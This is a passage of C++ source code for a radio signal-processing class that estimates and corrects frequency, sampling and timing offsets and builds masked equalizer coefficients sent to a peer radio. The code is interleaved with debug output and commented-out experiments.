times_sto_estimated;\n    // size_t times_sfo_estimated;\n    // size_t times_cfo_estimated;\n\n    ///\n    //0: disable data preparation\n    //1: reset data to 0x7fff\n    //2: get data from pilot frame\n\n    \n\n    //return;\n\n    if(!should_run_background){\n        return;\n    }\n\n    if(!applyeqonce)\n    {\n        return;\n    }\n\n    cheq_background_counter++;\n\n    // hand tuned value\n    const double check_per_second = 250;\n\n    // dsp.eq.update_seconds is a double, we multiply by the radio hand\n    // calulated above\n    const unsigned counter_target = check_per_second * GET_EQ_UPDATE_SECONDS();\n\n    if(cheq_background_counter >= counter_target)\n    {\n        cheq_background_counter = 0;\n\n        auto timenow = chrono::system_clock::to_time_t(chrono::system_clock::now());\n        cout << \"r\" << array_index << \"//// Continuous updatePartnerEq////    \" << ctime(&timenow) <<endl;\n        ///////////////////////////////////////////////////////////////////////////////////////////////////////////////updatePartnerEq(false, true);\n        soapy->cs32EQData(2);\n        applyeqonce = false;\n        cout << \"r\" << array_index << \" HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH\" << ctime(&timenow) <<endl;\n\n        // cs32EQData() causes the gain in cs32 to change a lot\n        // so we compensate here by changing the barrel shift of eq stage\n        dsp->ringbusPeerLater(peer_id, RING_ADDR_RX_FINE_SYNC, APP_BARREL_SHIFT_CMD | 0x50000 | 0xe, 0);\n\n\n        if( times_eq_sent == 2 ) {\n            // if more than 2 eq are sent, switch to using STO eq method\n            cout << \"ENTERING use_sto_eq_method\\n\";\n\n\n            freezeChannelAngleForStoEq();\n            if( GET_STO_ADJUST_USING_EQ() ) {\n                use_sto_eq_method = true;\n            }\n        }\n\n    }\n}\n\nvoid RadioEstimate::freezeChannelAngleForStoEq() {\n    channel_angle_sent_frozen = channel_angle_sent;\n}\n\n\n// wrapper around cs00SetSfoAdvance\n// we call this on the local rx when updating sfo\n// look at internal state, and calculate an estimate\n// and send that estimate\nvoid RadioEstimate::updateSfoEstimate(const double e) {\n    double estimate = e;\n    if(!applied_sfo) {\n        applied_sfo = true;\n        dsp->tickle(&applied_sfo);\n\n   \n        // for(int index = 0; index<10000; index++)\n        // {\n        //     cout<<\"0x\"<<HEX32_STRING(sfo_buf_chunk[index+90000])<<\",\"<<\"   \"<<HEX32_STRING(index)<<\"   \"<<HEX32_STRING(cfo_buf_chunk[index+90000])<<endl;\n\n        // }\n        estimate = sfo_estimated_sent+estimate;\n\n        uint32_t amount = 25600.0 / abs(estimate);\n        \n\n\n        cout << array_index << \"//// updateSfoEstimate(2) \" << estimate << \" ////\"<< endl;\n\n        bool adjust_sfo_on_rx = false;\n\n        if(adjust_sfo_on_rx) {\n            uint32_t direction  = (estimate>0)?2:1;\n            soapy->cs00SetSfoAdvance(amount, direction);\n        } else {\n            uint32_t direction  = (estimate>0)?1:2;\n            dsp->setPartnerSfoAdvance(peer_id, amount, direction);\n        }\n        \n        sfo_estimated_sent = estimate;\n        dsp->tickle(&sfo_estimated_sent);\n\n        times_sfo_sent++;\n        dsp->tickle(&times_sfo_sent);\n    }\n}\n\n// returns 0 for success\nsize_t RadioEstimate::sfoState() {\n    cout << \"sfoState() returned \";\n    if((abs(sfo_estimated)>=GET_SFO_STATE_THRESH()))\n    {\n        cout << \"2\\n\";\n        updatePartnerCfo();\n        usleep(500);\n        updatePartnerSfo();\n        // next_state = SFO_STATE;\n\n        return 2;\n    }\n    else if((abs(sfo_estimated)<GET_SFO_STATE_THRESH()))\n    {\n        cout << \"0\\n\";\n        // next_state = STO_STATE;\n        return 0;\n    }\n    else\n    {\n        cout << \"1\\n\";\n        return 1;\n    }\n}\n\n// little converter\nuint32_t RadioEstimate::getStoAdjustmentForEstimated(const double est) const {\n    auto sto_adjustment = ((uint32_t)(abs(est))>>STO_ADJ_SHIFT);\n    return sto_adjustment;\n}\n\n// returns 0 for success\nsize_t RadioEstimate::stoState() {\n\n    auto sto_adjustment = getStoAdjustmentForEstimated(sto_estimated);\n\n    cout << \"STO_STATE ESTIMATE \" << sto_adjustment << \"\\n\";\n    if( sto_adjustment > 128 ) {\n        cout << \"STO_STATE ESTIMATE was illegaly large \" << sto_adjustment << \"\\n\";\n        return 1;\n    }\n\n    bool selfAdjustSto = true;\n\n\n    if(sto_estimated<0) {\n        if( ((sto_adjustment)>=(unsigned)margin) ) {\n            cout << \"STO_STATE A\\n\";\n            updatePartnerSto(sto_adjustment - margin);\n        } else {\n            unsigned value = (margin - sto_adjustment);\n            cout << \"STO_STATE B \" << value << \"\\n\";\n            if( selfAdjustSto ) {\n                // soapy->cs31CoarseSync(value, 4);\n                dsp->setPartnerSfoAdvance(peer_id, value, 4);\n            } else {\n                dsp->setPartnerSfoAdvance(peer_id, value, 3);\n            }\n            cout << \"r\" << array_index << \" STO adjustment with small moving backward     \" << value <<endl;\n        }\n    } else if(sto_estimated>0) {\n\n        unsigned value = (128-sto_adjustment) + (128 - margin) ;\n        cout << \"STO_STATE C \" << value << \"\\n\";\n        if( !GET_STO_DISABLE_POSITIVE() ) {\n            if( selfAdjustSto ) {\n                // soapy->cs31CoarseSync(value, 3);\n                dsp->setPartnerSfoAdvance(peer_id, value, 3);\n            } else {\n                dsp->setPartnerSfoAdvance(peer_id, value, 4);\n            }\n            cout << \"r\" << array_index << \" STO adjustment with large moving forward     \" << value <<endl;\n        } else {\n            cout << \"STO_STATE C  DISABLED!!\\n\";\n        }\n    } else {\n        cout << \"STO_STATE D\\n\";\n    }\n\n\n    return 0;\n\n}\n\n// returns 0 for success\nsize_t RadioEstimate::cfoState() {\n    const auto cfo_thresh = GET_CFO_STATE_THRESHOLD();//0.01;\n    cout << \"cfoState(1)\" << endl;\n     if((abs(cfo_estimated)>=cfo_thresh))\n     {\n        cout << \"cfoState(2)\" << endl;\n        updatePartnerCfo();\n        usleep(500);\n        updatePartnerSfo();\n        // next_state = CFO_STATE;\n        return 1;\n     }\n     else if((abs(cfo_estimated)<cfo_thresh))\n     {\n        cout << \"cfoState(3) 0000000000000000000000000000000000000000000\" << endl;\n        // next_state = ADJ_STATE;\n\n        // if(residue_phase_flag==false)\n        // {\n        // cout << \"cfoState(4)\" << endl;\n        //      residue_phase_flag = true;\n        //      cout << \"r\" << array_index << \"R\" << array_index << \" start residue phase compensation   !!!!!!!!!!!!!!!!!!!!!!!!\"<<endl;\n        // }\n        return 0;\n     }\n     else\n     {\n        cout << \"cfoState(5)\" << endl;\n        // next_state = CFO_STATE;\n        return 2;\n     }\n }\n\n// look at internal state, and calculate an estimate\n// and send that estimate\n\nvoid RadioEstimate::updatePartnerSfo()\n\n{\n\n    \n    double max_step = GET_SFO_MAX_STEP();\n    if( max_step < 0 ) {\n        cout << \"dsp.sfo.max_step has illegal value of \" << max_step << \"\\n\";\n        max_step = 0.1; // hardcoded default in case of incorrect configuration\n    }\n\n    // limit maximum sfo value we apply aka \"very simple sfo filtering\"\n    // if((abs(sfo_estimated_sent)>0.0)) {\n    //     if(sfo_estimated > max_step) {\n    //         cout << \"r\" << array_index << \" capping sfo of \" << sfo_estimated << \" to \" << (max_step) << \"\\n\";\n    //         sfo_estimated = max_step;\n    //     } else if(sfo_estimated < (-max_step)) {\n    //         cout << \"r\" << array_index << \" capping sfo of \" << sfo_estimated << \" to \" << (-max_step) << \"\\n\";\n    //         sfo_estimated = (-max_step);\n    //     } else {\n    //         // value is ok\n    //     }\n    // }\n    ///////////////////////////////////////////////////////////////////\n\n    double estimate = sfo_estimated_sent+sfo_estimated;\n\n\n    bool is_zero = abs(estimate) < 1E-9;\n\n\n    if( is_zero ) {\n        cout << array_index << \"//// updateSfoEstimate() detected ZERO \" << estimate << \" ////\"<< endl;\n        uint32_t direction  = 0;//(estimate>0)?1:2;\n        dsp->setPartnerSfoAdvance(peer_id, 0, direction);\n    } else {\n\n        // if estimate is 0, this will result in double \"infinity\"\n        // which is then cast to uint32_t which casts as 0\n        uint32_t amount = 25600.0 / abs(estimate);\n\n         dsp->tickle(&sfo_estimated_sent);\n\n         // sfo_estimated_sent_array[sfo_estimated_sent_array_index] = sfo_estimated_sent;\n\n         // sfo_estimated_sent_array_index++;\n\n        cout << array_index << \"//// updateSfoEstimate() \" << estimate << \", \" << amount << \" ////\"<< endl;\n\n        bool adjust_sfo_on_rx = false;\n\n        if(adjust_sfo_on_rx) {\n            uint32_t direction  = (estimate>0)?2:1;\n            soapy->cs31CoarseSync(amount, direction);\n        } else {\n            uint32_t direction = 0;\n\n            if( negate_sfo_updates) {\n                direction = (estimate>0)?2:1;\n            } else {\n                direction = (estimate>0)?1:2;\n            }\n\n            dsp->setPartnerSfoAdvance(peer_id, amount, direction);\n        }\n    }\n\n    sfo_estimated_sent = estimate;\n}\n\n// void RadioEstimate::scheduleOff() {\n//     dsp->setPartnerSchedule(this, dsp->schedule_off);\n// }\n\n// void RadioEstimate::scheduleOn() {\n//     dsp->setPartnerSchedule(this, dsp->schedule_on);\n// }\n\n\n// look at internal state, and calculate an estimate\n// and send that estimate\nvoid RadioEstimate::updatePartnerCfo()\n{\n    //// very simple cfo filtering\n    // if(abs(cfo_estimated)<1.0) {\n    //     cfo_estimated = (cfo_estimated*0.95) + cfo_estimated_sent;\n    // } else {\n    //     cfo_estimated = cfo_estimated+ cfo_estimated_sent;\n    // }\n    //////////////////////////////////////////////////////////////////////\n\n    const double cfo_estimated_temp = cfo_estimated + cfo_estimated_sent;\n\n            // send to partner\n    dsp->setPartnerCfo(peer_id, cfo_estimated_temp*-1, true);\n            // update tracking variable\n    cfo_estimated_sent = cfo_estimated_temp;\n    dsp->tickle(&cfo_estimated_sent);\n\n    cout << array_index << \" //// Applying CFO: \" << cfo_estimated_sent*-1 << \" //// (1)\" << endl;\n}\n\n/// thread safe and can be called from js\n/// sets member all_eq_mask\n/// enforces that all_eq_mask is length 1024\n/// see maskAllEq()\nvoid RadioEstimate::setAllEqMask(const std::vector<uint32_t>& vec) {\n    std::unique_lock<std::mutex> lock(_all_eq_mutex);\n\n    all_eq_mask = vec;\n\n    if( vec.size() != 1024)  {\n        cout << \"Warning, setAllEqMask called with an argument that was length \" << vec.size() << \"instead of 1024!!\\n\";\n        all_eq_mask.resize(1024);\n    }\n}\n\n/// pass a vector of length 1024\n/// member variable all_eq_mask will be element wise checked\n/// each element that is nonzero will cause a mask in the same position of the input\n/// the new masked vector is returned\nstd::vector<uint32_t> RadioEstimate::maskAllEq(const std::vector<uint32_t>& vec) const {\n    std::vector<uint32_t> out;\n\n    if( vec.size() != all_eq_mask.size() ) {\n        // do nothing in this case\n        cout << \"maskAllEq() was not able to work \" << vec.size() << \", \" << all_eq_mask.size() << \"\\n\";\n        return vec;\n    }\n\n    std::unique_lock<std::mutex> lock(_all_eq_mutex);\n\n    out.resize(vec.size(),0);\n    \n    for(unsigned i = 0; i < vec.size(); i++) {\n        if( all_eq_mask[i] ) {\n            // this location should be zero, so do nothing\n        } else {\n            // this location should be the original value\n            out[i] = vec[i];\n        }\n    }\n    return out;\n}\n\nstd::vector<uint32_t> RadioEstimate::maskChannelVector(\n    const size_t option,\n    const std::vector<uint32_t>& vec\n) const {\n\n    std::vector<uint32_t> output;\n    output.resize(vec.size());\n\n\n    // cout<<\"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@   \"<<peer_id<<\"   \"<<array_index<<\"  \"<<option<<\"   \"<<vec.size()<<endl;\n\n    if( option == 0) {\n\n        if( should_unmask_all_eq ) {\n            for(unsigned i = 0; i < vec.size(); i++) {\n                output[i] = vec[i];\n            }\n        } else {\n            for(unsigned i = 0; i < vec.size(); i++) {\n                if( i % 4 == 0) {\n                    output[i] = 0;\n                } else {\n                    output[i] = vec[i];\n                }\n            }\n        }\n    }\n\n\n    if( option == 1 ) {\n        for(unsigned i = 0; i < vec.size(); i++) {\n            if( i % 4 == 2) {\n                output[i] = 0;\n            } else {\n                output[i] = vec[i];\n            }\n        }\n    }\n\n\n    ///\n    /// another control\n    ///\n    if( should_mask_all_data_tone ) {\n        for(unsigned i = 0; i < vec.size(); i++) {\n            // if( i == 17 || i == 19 || i == 21 || i == 23 ) {\n            if( \n                // i >= 17 && i < (17+64) && (i % 2 == 1)\n                (i % 2 == 1)\n                ) {\n                output[i] = 0;\n            } else {\n                // output[i] = vec[i];\n            }\n        }\n    }\n\n\n    auto tx_tdma_sc = getScForTransmitTDMA();\n    ///\n    ///\n    /// even if loop above wrote zero, we copy it again\n    if( should_mask_data_tone_tx_eq ) {\n        output[tx_tdma_sc] = 0;\n    } else {\n        output[tx_tdma_sc] = vec[tx_tdma_sc];\n    }\n\n    return output;\n}\n\nstd::vector<double> RadioEstimate::getChannelAngle() const {\n    std::vector<double> copy;\n    {\n        std::unique_lock<std::mutex> lock(_channel_angle_sent_mutex);\n        copy = channel_angle;\n    }\n    return copy;\n}\n\nstd::vector<double> RadioEstimate::getChannelAngleSent() const {\n    std::vector<double> copy;\n    {\n        std::unique_lock<std::mutex> lock(_channel_angle_sent_mutex);\n        copy = channel_angle_sent;\n    }\n    return copy;\n}\n\nstd::vector<double> RadioEstimate::getChannelAngleSentTemp() const {\n    std::vector<double> copy;\n    {\n        std::unique_lock<std::mutex> lock(_channel_angle_sent_mutex);\n        copy = channel_angle_sent_temp;\n    }\n    return copy;\n}\n\nstd::vector<uint32_t> RadioEstimate::getEqualizerCoeffSent() const {\n    std::vector<uint32_t> copy;\n    {\n        std::unique_lock<std::mutex> lock(_channel_angle_sent_mutex);\n        copy = equalizer_coeff_sent;\n    }\n    return copy;\n}\n\n\n\n\n\nvoid RadioEstimate::setupEqToSto() {\n    std::vector<double> rotated;\n    rotated.resize(1024);\n\n    compareEq.resize(256);\n    \n    // initial random rotation\n    const auto random_rotation_array = siglabs::data::vectors::randomRotation();\n\n    // convert initial random rotation\n    for(unsigned sc = 0; sc<1024; sc++)\n    {\n        double n_imag;\n        double n_real;\n        ishort_to_double(random_rotation_array[sc], n_imag, n_real);\n        double atan_angle = imag_real_angle(n_imag, n_real);\n\n        rotated[sc] = atan_angle;\n    }\n\n    // create 256 STO rotated versions\n    for(unsigned i = 0; i < compareEq.size(); i++) {\n        compareEq[i].resize(1024);\n        rotateVectorBySto(rotated, compareEq[i], i, 1);\n    }\n\n    // if(array_index == 0) {\n    //     cout << \"eq = [\";\n    //     for(auto eq : compareEq) {\n    //         cout << \"\\n[\";\n    //         for(auto sc : eq ) {\n    //             cout << \",\" << sc;\n    //         }\n    //         cout << \"]\";\n    //     }\n    //     cout << \"\\n]\";\n    // }\n\n    // debug view, do not run this:\n    // channel_angle_sent = compareEq[1];\n    // dsp->tickle(&channel_angle_sent);\n}\n\ndouble RadioEstimate::calculateEqStoDelta(void) const {\n\n    std::vector<double> pick;\n\n    const unsigned limit = GET_STO_ADJUST_USING_EQ_HALF_SC();\n\n    unsigned quad_pilot = 2;\n    if( array_index == 1) {\n        quad_pilot = 0;\n    }\n\n\n    for(unsigned sc = 0; sc < 1024; sc++) {\n        if( ((sc % 4) == quad_pilot) && sc < limit) {\n            pick.push_back(channel_angle[sc]);\n        }\n    }\n\n    unwrap_phase_inplace(pick);\n\n    // https://en.cppreference.com/w/cpp/algorithm/adjacent_difference\n    // these two lines are equivalent to np.diff()\n    std::adjacent_difference(pick.begin(), pick.end(), pick.begin());\n    pick.erase(pick.begin());\n\n\n    const double average = std::accumulate(pick.begin(), pick.end(), 0.0) / pick.size();\n\n    const double factor = -42.026;\n\n\n    return average * factor;\n}\n\nint RadioEstimate::calculateEqToSto(const bool print) const {\n    cout << \"calculateEqToSto()\\n\";\n\n    unsigned limit = GET_STO_ADJUST_USING_EQ_HALF_SC();\n\n    const auto copy = getChannelAngleSent();\n\n    std::vector<double> results;\n    results.resize(compareEq.size(), 0.0);\n\n    unsigned best_idx = 0;\n    double best_value = 9E9;\n    for(unsigned i = 0; i < compareEq.size(); i++) {\n        auto &ideal = compareEq[i];\n        for(unsigned sc = 0; sc < 1024; sc++) {\n            if(\n                (sc % 2 == 1)\n                && ((sc < limit) || (sc>(1024-limit)))\n                ) {\n                results[i] += abs(ideal[sc] - copy[sc]);\n            }\n        }\n\n        // check for best fit\n        if( results[i] < best_value ) {\n            best_value = results[i];\n            best_idx = i;\n        }\n\n     }\n\n     if(print) {\n         cout << \"RESULTS: \\n\\n\";\n         for(unsigned i = 0; i < results.size(); i++) {\n            cout << \"  \" << i << \":  \" << results[i] << \"\\n\";\n         }\n         cout << \"\\n\\n\";\n     }\n\n     cout << \"BEST: idx \" << best_idx << \", value: \" << best_value << \"\\n\";\n\n     return margin - ((signed)best_idx);\n}\n\nvoid RadioEstimate::applyEqToSto2() {\n    int sto_error = calculateEqToSto();\n    int tol = GET_STO_ADJUST_USING_EQ_THRESHOLD();\n\n    if( abs(sto_error) < tol ) {\n        cout << \"applyEqToSto() skipping update because error is only \" << sto_error << \"\\n\";\n        return;\n    }\n\n    int mode = 3;\n    if( sto_error < 0 ) {\n        mode = 4;\n    }\n\n    cout << \"applyEqToSto() using mode \" << mode << \" adjust \" << abs(sto_error) << \"\\n\";\n\n    dsp->setPartnerSfoAdvance(peer_id, abs(sto_error), mode);\n\n    // apply random rotation\n    // updates\n    //   channel_angle_sent_temp \n    //   equalizer_coeff_sent\n    setRandomRotationEq(false); // false for don't send to partner\n\n    // copy channel_angle_sent_temp into channel_angle_sent\n    channel_angle_sent_temp_into_channel_angle_sent();\n\n    // apply default sto rotation\n    // uses channel_angle_sent and modifies channel_angle_sent_temp with sto rotation\n    dspRunStoEq(1.0);\n\n    // send to partner\n    // copyies channel_angle_sent_temp into channel_angle_sent\n    // and then sends equalizer_coeff_sent?\n    updatePartnerEq(false, false);\n}\n\nvoid RadioEstimate::applyEqToSto() {\n\n    if(!eq_to_sto_allowed) {\n        return;\n    }\n\n    if(!GET_STO_ADJUST_USING_EQ()) {\n        return;\n    }\n\n    auto now = std::chrono::steady_clock::now();\n    size_t elapsed_us = std::chrono::duration_cast<std::chrono::microseconds>( \n    now - last_eq_to_sto\n    ).count();\n\n    if( elapsed_us < 10E6 ) {\n        return;\n    }\n\n\n\n\n    int tol = GET_STO_ADJUST_USING_EQ_THRESHOLD();\n\n    if( abs(sto_delta) < tol ) {\n        return;\n    }\n\n    last_eq_to_sto = now;\n\n    int mode = 3;\n    if( sto_delta < 0 ) {\n        mode = 4;\n    }\n\n    cout << \"applyEqToSto() using mode \" << mode << \" adjust \" << abs(sto_delta) << \"\\n\";\n\n    dsp->setPartnerSfoAdvance(peer_id, abs(sto_delta), mode);\n    applyEqToSfo(sto_delta);\n}\n\n// only call when an eq -> sto estimate was performed\nvoid RadioEstimate::applyEqToSfo(const double delta) {\n\n    if(!GET_SFO_ADJUST_USING_EQ()) {\n        return;\n    }\n\n    auto now = std::chrono::steady_clock::now();\n    uint64_t elapsed_us = std::chrono::duration_cast<std::chrono::microseconds>( \n    now - init_timepoint\n    ).count();\n\n    eq_sfo_history.emplace_back(elapsed_us, delta);\n\n    cout << \"R\" << array_index << \" applyEqToSfo()\\n\";\n    for(const auto& x : eq_sfo_history) {\n        uint64_t a;\n        double b;\n        std::tie(a,b) = x;\n        cout << \"    us: \" << a << \", \" << b << \"\\n\";\n    }\n\n    calculateEqToSfo();\n}\n\n\n/// We use the eq to update the STO in applyEqToSto()\n/// This function measures those updates.  This function assumes that those updates are only 1 sample\n/// which will not always be true. However if this is always enabled, we should never reach >1 sample adjustments by applyEqToSto()\n/// dsp.sfo.adjust_using_eq.seconds is measuring distance between STO updates.  This serves as a filter.  Sto \n/// updates that take longer than this tolerance will not be considered. Larger values will make\n/// this function more sensative, and apply updates for smaller values of delta sfo.\n/// dsp.sfo.adjust_using_eq.trend is the number of subsequent STO updates that must match all conditions\n/// before we apply an adjustmnet.  This number is also the number of estimates that are averaged when applying\n/// dsp.sfo.adjust_using_eq.factor is multiplied against the final estimate before updating\nvoid RadioEstimate::calculateEqToSfo() {\n\n    cout << \"R\" << array_index << \" calculateEqToSfo()\\n\";\n\n    // must be this many or more in a row (only this many are considered for the update)\n    const unsigned trend = GET_SFO_ADJUST_USING_EQ_TREND();\n\n    if( eq_sfo_history.size() < (trend+1) ) {\n        cout << \"too small\\n\";\n        return;\n    }\n\n    const double tol_seconds = GET_SFO_ADJUST_USING_EQ_SECONDS();    // consider updates spaced less than this\n\n\n    uint64_t d;\n    uint64_t p;\n    std::tie(p,std::ignore) = eq_sfo_history[0];\n    const uint64_t start = p;\n\n    std::vector<double> match;\n    \n    uint64_t a;\n    double b;\n    for(unsigned i = 1; i < eq_sfo_history.size(); i++) {\n        std::tie(a,b) = eq_sfo_history[i];\n        d = a - p;\n        \n        const double delta_seconds = d / 1E6;\n        const double age_seconds = (a-start) / 1E6;\n        \n        if( delta_seconds <= tol_seconds ) {\n            match.emplace_back(delta_seconds);\n            if( match.size() > trend ) {\n                // erase if larger so we only have at max trend in the match vector\n                match.erase(match.begin());\n            }\n        } else {\n            match.resize(0);\n        }\n        \n        cout << \"[\" << i << \"]    us: \" << delta_seconds << \", \" << b << \"     age: \" << age_seconds << \"\\n\";\n        p = a;\n    }\n    \n    \n    for(auto w: match) {\n        cout << w << \"\\n\";\n    }\n\n    if( match.size() != trend ) {\n        cout << \"no update needed\\n\";\n        return; // data is not ready for update\n    }\n    // the last N samples were under the tolerance\n    \n    bool set = false;\n    bool neg = false;\n    bool negthis = false;\n    for(unsigned i = eq_sfo_history.size()-trend; i < eq_sfo_history.size(); i++) {\n        // cout << \"sign check \" << i << \"\\n\";\n        std::tie(a,b) = eq_sfo_history[i];\n        if(!set) {\n            neg = b < 0;\n            set = true;\n        } else {\n            negthis = b < 0;\n            if( negthis != neg ) {\n                cout << \"last \" << trend << \" values were not all the same sign\\n\";\n                return;\n            }\n        }\n        \n    }\n    \n    const double factor = GET_SFO_ADJUST_USING_EQ_FACTOR();\n    \n    \n    double avg = 0;\n    for(auto w: match) {\n        avg += w;\n    }\n    avg /= (double)match.size();\n    \n    cout << \"average: \" << avg << \"\\n\";\n    \n    double hz = (1/avg) * factor;\n    \n    if( neg ) {\n        hz = -hz;\n    }\n    \n    cout << \"R\" << array_index << \" calculateEqToSfo() applying hz: \" << hz << \"\\n\";\n\n    // erase once we apply\n    eq_sfo_history.resize(0);\n\n    sfo_estimated = hz;\n    // updatePartnerSfo();\n}\n\n// fixme (builds) a mask and sends to our peer id\nvoid RadioEstimate::initialMask() {\n    std::vector<uint32_t> def;\n    def.resize(1024);\n    for(int index = 0; index<1024; index++)\n    {\n        def[index] = 0x00007fff;\n    }\n\n\n    int option;\n    if( array_index == 0 ) {\n        option = 0;\n    } else {\n        option = 1;\n    }\n\n    auto eq_coeffs_masked = maskChannelVector(option, def);\n\n    dsp->setPartnerEq(peer_id, eq_coeffs_masked);\n    saveIdealEqHash(eq_coeffs_masked);\n}\n\n// takes the lock\nvoid RadioEstimate::channel_angle_sent_temp_into_channel_angle_sent(void) {\n    std::unique_lock<std::mutex> lock(_channel_angle_sent_mutex);\n\n    // channel_angle_sent_temp is written to a lot in different places by\n    // this class.  When we send over zmq, we copy it into channel_angle_sent\n    channel_angle_sent = channel_angle_sent_temp;\n}\n\n// look at internal state, and calculate an estimate\n// and send that estimate\n// defaults are false, true\nvoid RadioEstimate::updatePartnerEq(const bool send_existing, const bool update_counter)\n{\n    cout << \"r\" << array_index\n         << \" //// Channel Estimate -> zmq ////  UPDATES: \" << update_counter << \" will \";\n\n    if( !update_counter ) {\n        cout << \"NOT\";\n    }\n    cout << \" update counter\\n\";\n            // cout << \"dspRunChannelEst() is sending over zmq\" << endl;\n\n    if(!send_existing) {\n        channel_angle_sent_temp_into_channel_angle_sent();\n    } else {\n        cout << \"non default call to updatePartnerEq()\" << endl;\n    }\n\n    dsp->tickle(&channel_angle_sent);\n\n\n    int option;\n    if( array_index == 0 ) {\n        option = 0;\n    } else {\n        option = 1;\n    }\n\n    if(update_counter) {\n        times_eq_sent++;\n        dsp->tickle(&times_eq_sent);\n    }\n\n\n    // if(radio_state != STO_EQ_0)\n    // {\n    //     for(int index = 0; index < 1024; index++)\n    //          {\n    //     equalizer_coeff_sent[index] = 0x7fff;\n    //         }\n    // }\n    \n\n    // we send from a different array\n    const auto eq_coeffs_masked = maskChannelVector(option, equalizer_coeff_sent);\n\n    const auto eq_coeffs_masked_again = maskAllEq(eq_coeffs_masked);\n        // convert into feedback bus vector\n    dsp->setPartnerEq(peer_id, eq_coeffs_masked_again);\n\n    cout<<\"Check EQ data::::::::::::::::::::::::::::::::\"<<endl;\n    cout<<HEX32_STRING(eq_coeffs_masked_again[1])<<\"   \"<<HEX32_STRING(eq_coeffs_masked_again[2])<<\"   \"<<HEX32_STRING(eq_coeffs_masked_again[3])<<\"   \"<<HEX32_STRING(eq_coeffs_masked_again[4])<<\"   \"<<endl;\n    cout<<HEX32_STRING(eq_coeffs_masked_again[1023])<<\"   \"<<HEX32_STRING(eq_coeffs_masked_again[1022])<<\"   \"<<HEX32_STRING(eq_coeffs_masked_again[1021])<<\"   \"<<HEX32_STRING(eq_coeffs_masked_again[1020])<<\"   \"<<endl;\n    cout<<\"Check EQ data end::::::::::::::::::::::::::::\"<<endl;\n    saveIdealEqHash(eq_coeffs_masked_again);\n\n\n    cheq_done_flag = false;\n    cheq_onoff_flag = false;\n}\n\n// call with a value and this will guard the estimate min/max and then apply\nvoid RadioEstimate::updatePartnerSto(const uint32_t sto_adjustment)\n{\n    cout << array_index << \"//// Updating STO \" << sto_adjustment << \" ////\"<<endl;\n            \n    bool adjust_sto_on_rx = true;\n            // run with a non zero value\n    if((sto_estimated<0.0) && (sto_adjustment>0))\n    {\n        if(adjust_sto_on_rx) {\n                    // soapy->cs31CoarseSync(sto_adjustment, 3);\n                    dsp->setPartnerSfoAdvance(peer_id, sto_adjustment, 3, true);\n                    //soapy->cs00SetSfoAdvance(sto_adjustment, 3);\n        } else {\n                    // transmit side\n                    dsp->setPartnerSfoAdvance(peer_id, sto_adjustment, 4);\n        }\n    }\n    else if((sto_estimated>0.0) && (sto_adjustment>0))\n    {\n        if(adjust_sto_on_rx) {\n                    // soapy->cs31CoarseSync(sto_adjustment, 4);\n                    dsp->setPartnerSfoAdvance(peer_id, sto_adjustment, 4, true);\n                    //soapy->cs00SetSfoAdvance(sto_adjustment, 4);\n        } else {\n                    dsp->setPartnerSfoAdvance(peer_id, sto_adjustment, 3);\n        }\n    }\n}\n\nvoid RadioEstimate::dspRunCfo_v1(const std::vector<uint32_t>& cfo_buf_chunk) {\n\n    cout << \"dspRunCfo_v1() \" << cfo_buf_chunk.size() << endl;\n \n    uint32_t gap = 128;\n\n    ///////// calculate cfo\n    double cfo_complex_real[_cfo_symbol_num];\n    double cfo_complex_imag[_cfo_symbol_num];\n\n    ///// get cfo_complex\n    uint32_t index2 = 0;\n    for(const auto n : cfo_buf_chunk)\n    {\n        double n_imag;\n        double n_real;\n        ishort_to_double(n, n_imag, n_real);\n        cfo_complex_real[index2] = n_real;\n        cfo_complex_imag[index2] = n_imag;\n        index2 = index2+1;\n    }\n\n\n    \n\n    double cfo_complex_cmul_real[_cfo_symbol_num-gap];\n    double cfo_complex_cmul_imag[_cfo_symbol_num-gap];\n\n    for(uint32_t index=gap; index<(_cfo_symbol_num); index++)\n    {\n        cfo_complex_cmul_real[index-gap] = cfo_complex_real[index-gap]*cfo_complex_real[index]+cfo_complex_imag[index-gap]*cfo_complex_imag[index];\n        cfo_complex_cmul_imag[index-gap] = cfo_complex_real[index-gap]*cfo_complex_imag[index]-cfo_complex_imag[index-gap]*cfo_complex_real[index];\n    }\n\n    double cfo_sum_real = 0.0;\n    double cfo_sum_imag = 0.0;\n\n    for(uint32_t index =0; index<(_cfo_symbol_num)-gap; index++)\n    {\n        cfo_sum_real = cfo_sum_real + cfo_complex_cmul_real[index];\n        cfo_sum_imag = cfo_sum_imag + cfo_complex_cmul_imag[index];\n    }\n    \n\n    double cfo_angle = imag_real_angle(cfo_sum_imag, cfo_sum_real);\n    \n   \n\n    this->cfo_estimated = cfo_angle*31.25*1024*1024/1280/(2*PI)/(gap*1.0);\n    // cfo_done_flag = true;\n\n    if( should_print_estimates ) {\n        cout << array_index << \" cfo_estimated (new)                                                 \" << cfo_estimated << endl;\n    }\n    if(abs(this->cfo_estimated)<10.0)\n    {\n        gap = 1024;\n\n        for(uint32_t index=gap; index<_cfo_symbol_num; index++)\n        {\n            cfo_complex_cmul_real[index-gap] = cfo_complex_real[index-gap]*cfo_complex_real[index]+cfo_complex_imag[index-gap]*cfo_complex_imag[index];\n            cfo_complex_cmul_imag[index-gap] = cfo_complex_real[index-gap]*cfo_complex_imag[index]-cfo_complex_imag[index-gap]*cfo_complex_real[index];\n        }\n        \n        double cfo_sum_real_re = 0.0;\n        double cfo_sum_imag_re = 0.0;\n\n        for(uint32_t index =0; index<(_cfo_symbol_num-gap); index++)\n        {\n            cfo_sum_real_re = cfo_sum_real_re + cfo_complex_cmul_real[index];\n            cfo_sum_imag_re = cfo_sum_imag_re + cfo_complex_cmul_imag[index];\n        }\n        \n\n        this->cfo_estimated = imag_real_angle(cfo_sum_imag_re, cfo_sum_real_re)*31.25*1024*1024/1280/(2*PI)/(gap*1.0);\n        // cfo_done_flag = true;\n        if( should_print_estimates ) {\n            cout << array_index << \" cfo_estimated (reestimated new)                                                   \" << cfo_estimated << endl;\n        }\n    }\n\n     if(abs(this->cfo_estimated)<1)\n    {\n        gap = 10240;   ////128*80      \n\n        for(uint32_t index=gap; index<(_cfo_symbol_num); index++)\n        {\n            cfo_complex_cmul_real[index-gap] = cfo_complex_real[index-gap]*cfo_complex_real[index]+cfo_complex_imag[index-gap]*cfo_complex_imag[index];\n            